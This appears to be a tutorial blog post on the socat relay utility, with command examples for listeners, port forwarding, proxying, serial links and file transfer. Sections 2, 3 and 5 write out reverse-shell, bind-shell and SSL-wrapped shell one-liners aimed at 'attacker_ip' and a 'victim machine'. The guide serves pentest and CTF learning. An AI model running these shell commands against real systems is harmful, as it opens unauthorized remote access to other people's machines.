Socat, often called “netcat’s big brother,” is an advanced multipurpose relay utility. It handles sockets, pipes, files, TCP/IP connections, SSL/TLS encryption, port forwarding, and much more. This makes it an essential tool for pentesters, network engineers, and CTF players, enabling powerful and complex networking operations.
What is Socat?
Socat (Socket CAT) is a command-line utility designed for connecting two bidirectional byte streams. It provides extensive support for network connections, SSL/TLS encryption, proxying, and even serial communication, making it ideal for creating secure tunnels, port forwarding, or pivoting in pentesting scenarios.
Installing Socat
Socat is typically available via your distro’s package manager:
sudo apt-get update
sudo apt-get install socat
Practical Examples of Socat
1. Basic TCP Listener and Client
Listener (server):
socat TCP-LISTEN:4444,reuseaddr,fork -
Client (connect):
socat - TCP:server_ip:4444
This sets up a simple TCP connection between two endpoints.
2. Reverse Shell with Socat
Listener (attacker’s machine):
socat TCP-LISTEN:5555,reuseaddr STDOUT
Reverse shell (victim machine):
socat EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane TCP:attacker_ip:5555
3. Bind Shell with Socat
Create a shell that listens directly on the target:
socat TCP-LISTEN:1234,reuseaddr,fork EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane
Connect to the shell remotely:
socat - TCP:target_ip:1234
4. Port Forwarding with Socat
Forward local port 8080 to a remote server port 80:
socat TCP-LISTEN:8080,fork TCP:remote_server_ip:80
This redirects local requests to the remote server transparently.
5. SSL-Encrypted Listener
Create a listener that uses SSL encryption:
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,reuseaddr,fork EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane
Connect securely:
socat - OPENSSL:server_ip:443,verify=0
6. Proxying with Socat
Set up a simple SOCKS4a proxy:
socat TCP-LISTEN:1080,reuseaddr,fork SOCKS4A:localhost:
Use this proxy for tunneling other applications.
7. Serial Communication
Connect to a serial device:
socat STDIO /dev/ttyUSB0,raw,echo=0,b115200
8. UDP Listener and Sender
Listener (server):
socat UDP-RECVFROM:9999,fork -
Sender (client):
socat - UDP:server_ip:9999
9. File Transfer Using Socat
Receiver (host):
socat TCP-LISTEN:1337,reuseaddr,fork CREATE:received_file.txt
Sender (client):
socat FILE:send_file.txt TCP:receiver_ip:1337
Best Practices
- Encryption: Always leverage SSL/TLS encryption when transferring sensitive data over public networks.
- Permissions: Ensure explicit permission before using Socat in a pentest or security audit scenario.
- Monitor Connections: Enable logging or verbose output to effectively troubleshoot and monitor your Socat usage.
Final Thoughts
Socat is a remarkably powerful tool capable of handling nearly any networking or port-forwarding task you encounter. By mastering its syntax and capabilities, you’ll gain unparalleled flexibility in your networking toolkit, enabling creative and secure solutions for penetration testing, CTF challenges, and system administration.
Keep exploring!